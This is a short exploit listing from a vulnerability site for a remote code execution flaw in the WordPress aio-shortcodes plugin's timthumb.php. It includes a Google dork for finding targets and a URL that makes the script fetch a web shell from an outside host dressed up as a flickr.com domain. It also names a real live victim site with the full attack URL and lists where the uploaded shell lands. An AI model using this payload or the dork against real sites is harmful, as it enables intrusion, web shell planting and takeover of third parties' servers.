WordPress aio-shortcodes Plugin - Remote Code Execution

2018.10.26
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: WordPress aio-shortcodes Plugin - Remote Code Execution # Google Dork: Index of /wp-content/plugins/aio-shortcodes # Exploit: timthumb.php?src=http://flickr.com.tukangpompajakarta.com/shell.php # Date: 26 Oktober 2018 # Author: L4663r666h05t # Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php # Version: 1.x.x # Screenshot: http://prntscr.com/lahts7 # Tested on: Windows 10 Pro (x64) Versions Affected: 1.x.x Live Site: http://www.qvgop.org/wp-content/plugins/aio-shortcodes/timthumb.php http://www.qvgop.org/wp-content/plugins/aio-shortcodes/timthumb.php?src=http://flickr.com.tukangpompajakarta.com/shell.php Your Shell: http://localhost/wp-content/plugins/aio-shortcodes/cache/md5.php http://localhost/wp-content/plugins/aio-shortcodes/cache/shell.php Thanks to: T1KUS90T - ManadoGhost - Panjul Dot ID - Berandal - OWLSQUAD


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top